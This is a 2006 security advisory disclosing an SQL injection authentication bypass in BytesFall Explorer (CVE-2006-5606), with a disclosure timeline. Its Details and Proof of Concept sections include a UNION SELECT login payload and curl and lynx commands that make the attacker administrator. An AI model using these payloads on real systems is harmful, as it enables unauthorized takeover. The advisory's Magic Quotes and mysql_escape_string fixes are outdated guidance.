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Authentication bypass in BytesFall Explorer

A malicious user can bypass authentication and take over the role of the administrator of BytesFall Explorer by using an SQL injection. Several other SQL injections are possible.


Details
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Product: BytesFall Explorer
Affected Versions: <= 0.0.7.1
Fixed Versions: 0.0.7.2
Vulnerability Type: SQL injection
Security-Risk: medium 
Vendor-URL: http://bfexplorer.sourceforge.net
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-007
Advisory-Status: public
CVE: CVE-2006-5606
CVE-URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5606


Introduction
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BytesFall Explorer is a web-based file manager programmed in PHP and JavaScript and licensed under the GNU GPL. It allows to upload, download, view, edit, copy, move/rename and change permissions of a single file/directory or a group of files/directories.


More Details
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Because of missing user input sanitizations a malicious user can modify an SQL query in login/doLogin.php, line 13:

13   $User = bfRecord(sprintf("SELECT * FROM %susers WHERE username='%s';", $tables_preffix, $username));

By using the username

' union select
1,'','','admin',$1$ol0uK1m4$gDzEIJEpe5Tj7G/f9Jite/,1,'','','','' from bfe_users where ''='

and password 'redteam' a user can login and take over the role of the administrator of BytesFall Explorer.

Many other SQL injections in other files exist that can be exploited. 


Proof of Concept
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Using curl:

curl -i http://www.example.com/bfExplorer/login/doLogin.php --data-binary
"username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from bfe_users where ''='&Login=Login&password=redteam"

or lynx:

printf "username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from bfe_users where ''='&Login=Login&password=redteam\n---" | lynx --post_data
http://www.example.com/bfExplorer/login/doLogin.php


Workaround
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Use PHP Magic Quotes.


Fix
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Use PHP's mysql_escape_string() to sanitize variables containing user
input before using them in MySQL queries. A fixed version 0.0.7.2 of BytesFall
Explorer is available.


Security Risk
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RedTeam considers the security risc medium. BytesFall Explorer can be
compromised totally when PHP Magic Quotes are not enabled. Though Magic Quotes
do not represent real security, they are a workaround for these problems.


History
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2006-10-26 Discovery of the vulnerabilities
2006-10-26 Vendor is informed
2006-10-26 Vendor releases fixed version
2006-10-31 Advisory released
2009-05-08 Updated Advisory URL


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